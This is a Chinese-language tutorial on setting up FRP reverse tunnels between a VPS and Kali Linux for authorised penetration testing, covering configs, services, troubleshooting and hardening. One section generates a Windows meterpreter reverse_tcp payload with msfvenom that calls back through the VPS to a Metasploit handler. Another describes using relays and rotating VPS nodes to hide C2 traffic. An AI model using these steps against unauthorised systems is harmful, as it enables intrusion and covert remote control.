
1. 项目概述与核心价值在安全测试和渗透评估的实际工作中我们常常会遇到一个非常现实的困境目标系统或设备位于一个没有公网IP的内网环境中比如一个公司的内部办公网络、一个智能家居的局域网或者一个隔离的测试环境。作为一名渗透测试工程师你无法像访问一个公开的Web服务器那样直接从互联网发起连接。这时候内网穿透技术就成了连接“外部攻击面”与“内部目标”的关键桥梁。而FRPFast Reverse Proxy以其轻量、高效和高度可配置的特性成为了我们工具箱里的常客。这个项目就是围绕如何利用Kali Linux和FRP构建一套实战可用的内网穿透通道。它绝不仅仅是“配置一个软件”那么简单其核心价值在于绕过公网访问限制将内网服务安全、可控地暴露到公网为后续的渗透测试、漏洞验证、远程管理或数据回传提供通道。无论是为了访问内网的Web管理界面、SSH服务还是为了将Metasploit或Cobalt Strike的监听器回连到公网服务器掌握FRP的实战配置都是一项基本功。接下来我将以一个完整的实战视角从设计思路到避坑细节为你拆解整个过程。2. 整体架构设计与思路拆解2.1 为什么选择FRP市面上内网穿透工具很多比如Ngrok、NPS、花生壳等。在渗透测试的语境下选择FRP主要基于以下几点实战考量自主可控性FRP允许你完全掌控服务端frps和客户端frpc。服务端可以部署在你拥有的任意一台具有公网IP的服务器VPS上这意味着穿透链路的数据流经完全由你控制的节点避免了第三方服务的日志风险和数据泄露隐患。这对于需要隐蔽行踪的测试至关重要。协议支持全面FRP原生支持TCP、UDP、HTTP、HTTPS等多种协议。这意味着它不仅能转发SSH、RDP这类传统服务还能完美适配Web应用的测试HTTP/HTTPS甚至支持像DNS隧道这样的高级用法灵活性极高。配置直观性能稳定其配置文件采用类似INI的格式结构清晰参数丰富。在资源消耗上FRP表现得非常轻量即使在配置较低的VPS或内网设备如树莓派、旧手机上也能稳定运行长时间保持连接不掉线。社区活跃文档齐全作为开源项目FRP拥有活跃的社区和详尽的中文文档。遇到问题时更容易找到解决方案或参考配置降低了学习和排错成本。2.2 核心架构与流量走向理解架构是正确配置的前提。一个典型的FRP内网穿透场景涉及三个角色公网服务器VPS运行FRP服务端frps。它拥有一个固定的公网IP和域名作为流量的“中转站”和“调度中心”。所有从互联网来的连接请求首先到达这里。内网主机目标机器运行FRP客户端frpc。它身处内网无法被外网直接访问。它的任务是主动连接到公网服务器上的frps并告知服务器“我这里有这些服务比如本地的8080端口Web服务请帮我转发。”测试者/攻击者你你从自己的电脑发起请求。你的请求目标是公网服务器的某个特定端口由frps监听。一次完整的访问流程如下内网主机上的frpc启动与公网服务器的frps建立一条稳定的控制通道。你在浏览器访问http://your-vps-ip:7001假设7001是frps上配置的用于转发Web服务的端口。frps在7001端口收到你的HTTP请求。frps通过之前建立的控制通道将你的请求转发给内网的frpc。frpc收到请求后将其转发给内网主机本地的127.0.0.1:8080或某个内网IP的端口。内网Web服务处理请求生成响应并按原路frpc - frps - 你的浏览器返回给你。这个架构的关键在于连接方向是“反向”的。是内网客户端主动“出站”连接公网服务器从而绕过了防火墙对“入站”连接的严格限制。绝大多数企业防火墙都允许内网机器向外发起连接但严格禁止外部主动连接进来FRP正是利用了这一点。注意在渗透测试中务必确保你拥有部署frps的公网服务器的合法权限并且所有测试行为均在授权范围内进行。未经授权对他人服务器或内网进行穿透测试是违法行为。3. 环境准备与工具部署3.1 公网服务器FRPS端配置公网服务器是整条链路的基石。我通常选择一台位于海外的VPS如DigitalOcean、Vultr、Linode的较低配置机型系统推荐Ubuntu 20.04/22.04 LTS或CentOS 7/8因为它们更常见社区支持好。3.1.1 下载与安装FRPS首先通过SSH登录你的VPS。# 创建一个专用目录并进入 mkdir -p /opt/frp cd /opt/frp # 从GitHub Release页面下载最新版的Linux amd64版本 # 请访问 https://github.com/fatedier/frp/releases 查看最新版本号替换下面的链接 wget https://github.com/fatedier/frp/releases/download/v0.51.3/frp_0.51.3_linux_amd64.tar.gz # 解压 tar -zxvf frp_0.51.3_linux_amd64.tar.gz # 进入解压后的目录通常包含frps和frpc两个可执行文件 cd frp_0.51.3_linux_amd64/ # 将服务端文件复制到系统路径方便管理 sudo cp frps /usr/local/bin/ sudo mkdir -p /etc/frp sudo cp frps.ini /etc/frp/3.1.2 配置FRPS服务端编辑配置文件/etc/frp/frps.ini。下面是一个兼顾安全与功能的基础配置[common] # frps监听的端口用于接收frpc的连接 bind_port 7000 # 仪表板端口用于查看frps状态可选但建议开启以便监控 dashboard_port 7500 # 仪表板用户名和密码务必修改 dashboard_user admin dashboard_pwd YourStrongPassword123! # 用于客户端和服务端身份验证的令牌增强安全性强烈建议设置 token YourSecretAuthToken # 允许客户端绑定的最大端口根据你需要转发的服务类型设置 allow_ports 2000-50000 # 日志记录便于排查问题 log_file /var/log/frps.log log_level info log_max_days 3关键参数解析bind_port这是最核心的端口。frpc通过这个端口与frps建立控制连接。务必在服务器防火墙和安全组中放行此端口。dashboard_portWeb管理界面端口。通过http://your-vps-ip:7500访问可以清晰看到在线客户端、代理状态等信息非常实用。token这是服务端和客户端之间的共享密钥。只有提供正确token的frpc才能连接上来防止未授权的客户端随意连接你的frps造成安全风险。allow_ports限制了frpc可以“声明”使用哪些端口进行服务映射。比如你内网有一个SSH服务22端口想映射到公网你可能会在frpc配置中设置remote_port 6000那么6000必须在allow_ports范围内。合理设置范围可以避免端口滥用。3.1.3 设置系统服务与防火墙为了方便管理开机自启、状态查看、日志管理我们将frps配置为systemd服务。创建服务文件/etc/systemd/system/frps.service[Unit] DescriptionFrp Server Service Afternetwork.target [Service] Typesimple Usernobody Restarton-failure RestartSec5s ExecStart/usr/local/bin/frps -c /etc/frp/frps.ini ExecReload/usr/local/bin/frps reload -c /etc/frp/frps.ini [Install] WantedBymulti-user.target然后启动并设置开机自启sudo systemctl daemon-reload sudo systemctl start frps sudo systemctl enable frps sudo systemctl status frps # 检查运行状态应为active (running)配置防火墙以UFW为例sudo ufw allow 7000/tcp # frps控制端口 sudo ufw allow 7500/tcp # 仪表板端口如果开启 # 后续根据frpc配置的remote_port按需放行例如 # sudo ufw allow 6000/tcp # 用于转发SSH # sudo ufw allow 8080/tcp # 用于转发Web3.2 内网主机Kali Linux FRPC端配置现在我们把视角切换到内网的Kali Linux机器上。这里假设Kali已经安装好并能访问互联网以连接你的公网服务器。3.2.1 下载与安装FRPC在Kali终端中操作# 进入用户目录或临时目录 cd /tmp # 下载对应架构的FRP。Kali通常是amd64。 # 同样请替换为最新版本号 wget https://github.com/fatedier/frp/releases/download/v0.51.3/frp_0.51.3_linux_amd64.tar.gz # 解压 tar -zxvf frp_0.51.3_linux_amd64.tar.gz # 进入目录 cd frp_0.51.3_linux_amd64/ # 将客户端程序复制到合适位置例如/usr/local/bin sudo cp frpc /usr/local/bin/ sudo mkdir -p /etc/frp sudo cp frpc.ini /etc/frp/3.2.2 配置FRPC客户端编辑配置文件/etc/frp/frpc.ini。这是配置的核心决定了将内网的什么服务暴露出去。[common] # 公网服务器的地址和端口 server_addr your_vps_public_ip server_port 7000 # 必须与服务端配置的token一致 token YourSecretAuthToken # 客户端管理地址用于热重载配置可选 admin_addr 127.0.0.1 admin_port 7400 # 日志 log_file /var/log/frpc.log log_level info log_max_days 3 # 第一个代理将Kali的SSH服务22端口暴露到公网服务器的6000端口 [ssh] type tcp local_ip 127.0.0.1 local_port 22 remote_port 6000 # 第二个代理将Kali本地的Web服务例如在8080端口运行的Metasploit Web UI或一个测试站点暴露出去 [web] type tcp local_ip 127.0.0.1 local_port 8080 remote_port 8080 # 第三个代理HTTP/HTTPS类型代理示例更适用于Web应用穿透 [web-http] type http local_port 80 custom_domains test.yourdomain.com # 需要将域名解析到你的VPS IP # 第四个代理UDP协议示例用于DNS等 [dns] type udp local_ip 127.0.0.1 local_port 53 remote_port 60053配置详解与实战技巧[ssh],[web]每个方括号内的名称是一个独立的“代理”proxy可以配置多个。type根据服务类型选择tcp,udp,http,https。tcp是最通用和常用的。local_ip通常为127.0.0.1表示转发本机服务。如果想转发同一内网另一台机器的服务例如一台内网Web服务器192.168.1.100:80这里就填192.168.1.100。这是实现“跳板机”功能的关键即通过Kali转发内网其他主机的流量。remote_port这是公网服务器frps上开放的端口。外部用户通过连接your_vps_ip:remote_port来访问内网服务。确保此端口在allow_ports范围内且已在VPS防火墙放行。http类型代理当type http时FRP可以处理HTTP主机头。这意味着你可以用同一个公网IP的80端口根据custom_domains的不同转发到内网不同的Web服务上类似于虚拟主机。这需要你拥有域名并将子域名解析到VPS IP。3.2.3 启动FRPC客户端可以直接运行测试frpc -c /etc/frp/frpc.ini如果一切正常你会看到连接成功的日志并且公网服务器的仪表板上会出现在线的客户端。为了持久化也可以在Kali上配置systemd服务步骤与服务器端类似创建/etc/systemd/system/frpc.service将ExecStart指向frpc即可。4. 核心应用场景与渗透测试实战演练配置通了只是第一步如何在渗透测试中活用这套通道才是关键。下面结合几个典型场景看看FRP如何成为我们的“神兵利器”。4.1 场景一远程访问内网Kali的SSH与图形界面这是最基础的应用。通过SSH转发你可以在任何地方连接到内网的Kali。配置如上文[ssh]代理所示。连接方式在你的外部攻击机上使用命令ssh -p 6000 kali_useryour_vps_ip这里的6000就是remote_portyour_vps_ip是你的公网服务器IP。输入Kali系统的密码即可登录。图形界面转发如果需要使用Kali的图形化工具如Burp Suite、OWASP ZAP的GUI可以通过SSH的X11转发ssh -p 6000 -X kali_useryour_vps_ip登录后运行firefox或burpsuite等命令图形界面就会显示在你的本地机器上。实操心得对于需要长时间运行的扫描或任务建议使用screen或tmux会话即使SSH断开任务也不会终止。在Kali上安装好这些工具是标准操作。4.2 场景二将Metasploit或Cobalt Strike监听器回连到公网这是内网穿透在渗透测试中的“高级玩法”。当你在内网获得一个shell例如一个Windows反弹shell你希望它能连接回你在公网的攻击机。但你的攻击机在内网没有公网IP。此时FRP可以帮你把公网VPS的端口“变成”你攻击机监听器的端口。操作步骤在公网VPS上配置FRPS正常配置确保端口开放。在内网攻击机Kali上配置FRPC假设你要在Kali的4444端口启动一个Metasploit的reverse_tcp监听器。[msf-listener] type tcp local_ip 127.0.0.1 local_port 4444 # Metasploit监听的端口 remote_port 4445 # 在公网VPS上暴露的端口在Kali上启动Metasploit监听器msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 127.0.0.1 # 关键这里必须设置为127.0.0.1因为meterpreter会先发给本地的frpc set LPORT 4444 exploit -j生成Payload生成木马时LHOST填写你的公网VPS的IPLPORT填写remote_port即4445。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTyour_vps_ip LPORT4445 -f exe -o shell.exe工作原理木马在内网执行后会尝试连接your_vps_ip:4445。流量到达VPS的frpsfrps根据配置通过隧道转发给内网Kali的frpcfrpc再交给本地4444端口的Metasploit监听器。一个完整的回连链路就建立了。注意事项这种方式的延迟会比直接公网对公网高因为多了一次转发。在生成大量流量或进行实时交互时如meterpreter的shell可能会有可感知的延迟。但对于获取初始立足点、上传下载文件、执行基础命令来说完全足够。4.3 场景三访问内网Web应用进行漏洞测试假设内网有一台服务器192.168.1.100上面运行着一个存在漏洞的Web应用端口80。你的Kali可以访问它但外网无法直接访问。配置FRPC在Kali上[internal-web] type tcp # 简单场景用tcp即可http类型更适合多域名管理 local_ip 192.168.1.100 # 关键转发到内网另一台机器 local_port 80 remote_port 8088 # 在公网VPS上使用8088端口来映射这个内网Web访问方式启动frpc后你就可以在外网通过浏览器访问http://your_vps_ip:8088此时访问的实际上是内网192.168.1.100:80的服务。你可以像本地访问一样使用Burp Suite等工具对其进行渗透测试。进阶用法——HTTP模式如果你有域名并且想用更“自然”的方式不用记端口号访问可以使用http类型。将域名如pentest.yourdomain.com的A记录解析到你的VPS IP。配置FRPC[internal-web-http] type http local_ip 192.168.1.100 local_port 80 custom_domains pentest.yourdomain.com配置FRPS的frps.ini可能需要设置vhost_http_port 80并确保服务器80端口已开放。访问http://pentest.yourdomain.com即可。这对于需要特定Host头或Cookie的Web应用测试尤其有用。4.4 场景四搭建临时代理池或C2中继在红队评估中为了隐匿流量、绕过简单的IP封锁可能需要多个出口IP。你可以利用多台不同地域的VPS部署多个frps节点然后在Kali上配置多个[common]段通过不同的server_addr来切换连接。或者在内网的多台机器上部署frpc将它们的不同服务或socks5代理通过同一台frps暴露出来形成一个简单的代理池。5. 安全加固、问题排查与进阶技巧5.1 安全加固建议内网穿透本身增加了攻击面必须做好安全措施强令牌Token务必在frps和frpc配置中使用强且唯一的token这是最基本也是最重要的认证。最小化端口暴露在VPS防火墙中只开放必需的端口bind_port,dashboard_port以及你用到的remote_port。关闭所有其他不必要的端口。仪表板访问控制dashboard_port不要使用默认的7500并设置强密码。可以考虑通过SSH隧道本地端口转发来访问仪表板而不是直接暴露在公网。# 在你的本地机器执行 ssh -L 127.0.0.1:7500:127.0.0.1:7500 useryour_vps_ip然后本地浏览器访问http://127.0.0.1:7500。使用TLS加密通信可选但推荐FRP支持在客户端和服务端之间启用TLS加密通信防止流量被窃听。需要在[common]段配置tls_enable true并指定证书文件。对于高敏感环境建议启用。定期更新关注FRP的GitHub发布页及时更新到新版本修复潜在的安全漏洞。5.2 常见问题与排查实录即使按照步骤操作也难免会遇到问题。下面是我踩过的一些坑和解决方法问题1frpc连接失败日志显示“connection timed out”或“connection refused”。排查思路检查网络连通性在Kali上执行telnet your_vps_ip 7000或nc -zv your_vps_ip 7000看能否连通VPS的bind_port。不通则说明网络有问题。检查VPS防火墙和安全组这是最常见的原因确保云服务商控制台的安全组和VPS系统防火墙如ufw/iptables/firewalld都放行了7000端口。检查frps服务状态在VPS上执行sudo systemctl status frps确认服务正在运行。查看日志sudo journalctl -u frps -f获取错误信息。检查token确保frps.ini和frpc.ini中的token完全一致包括大小写和空格。问题2连接成功但无法访问转发的服务如SSH连不上、Web打不开。排查思路检查remote_port是否开放确保VPS防火墙放行了你在frpc中配置的remote_port如6000, 8080。检查本地服务在Kali上执行ss -tlnp | grep :22确认本地SSH服务确实在22端口监听。对于Web服务用curl 127.0.0.1:8080测试本地是否可访问。检查frps仪表板访问仪表板查看对应的代理如[ssh]是否处于online状态。如果状态异常查看frpc和frps的日志。检查local_ip如果你转发的是其他内网机器如192.168.1.100请确保Kali到那台机器的网络是通的且那台机器的防火墙允许Kali的访问。问题3连接不稳定经常断开。可能原因与解决网络波动内网或VPS的网络不稳定。可以尝试在frpc配置的[common]段增加心跳参数[common] ... tcp_mux true heartbeat_interval 30 heartbeat_timeout 90VPS资源不足低配VPS在流量大时可能崩溃。监控VPS的CPU和内存使用情况。被中间网络设备干扰某些企业防火墙或运营商会检测并中断长时间空闲的长连接。保持心跳是有效的缓解方法。问题4如何实现开机自启和后台运行对于Kalifrpc同样推荐配置systemd服务。创建/etc/systemd/system/frpc.service文件内容参考frps的修改ExecStart路径然后sudo systemctl enable --now frpc。简易后台运行使用nohupnohup frpc -c /etc/frp/frpc.ini /dev/null 21 。但不如systemd管理方便。5.3 进阶技巧使用配置文件热重载在修改了frpc.ini配置后不需要重启客户端可以使用管理端口进行热重载。在frpc.ini的[common]段启用管理地址admin_addr 127.0.0.1 admin_port 7400修改配置后向管理端口发送重载信号frpc reload -c /etc/frp/frpc.ini # 或者使用curl curl http://127.0.0.1:7400/api/reload这对于需要动态增删代理服务的场景非常有用。5.4 性能监控与日志分析仪表板充分利用dashboard_port实时监控连接数、流量、代理状态。日志设置合理的log_levelinfo或debug日志文件是排查问题的第一手资料。使用tail -f /var/log/frps.log或journalctl -u frpc -f来实时跟踪日志。系统监控使用htop,iftop等工具监控VPS的系统资源CPU、内存、网络带宽使用情况确保穿透服务不会成为性能瓶颈。通过以上从原理到实战从配置到排错的完整拆解你应该已经能够独立部署并运用FRP这套强大的内网穿透工具了。记住工具是死的思路是活的。在真实的渗透测试或网络管理中结合具体场景灵活组合运用这些功能才能让FRP真正成为你突破网络边界、延伸测试能力的得力助手。最重要的永远是在合法的授权范围内进行所有操作并时刻将安全风险控制在掌心。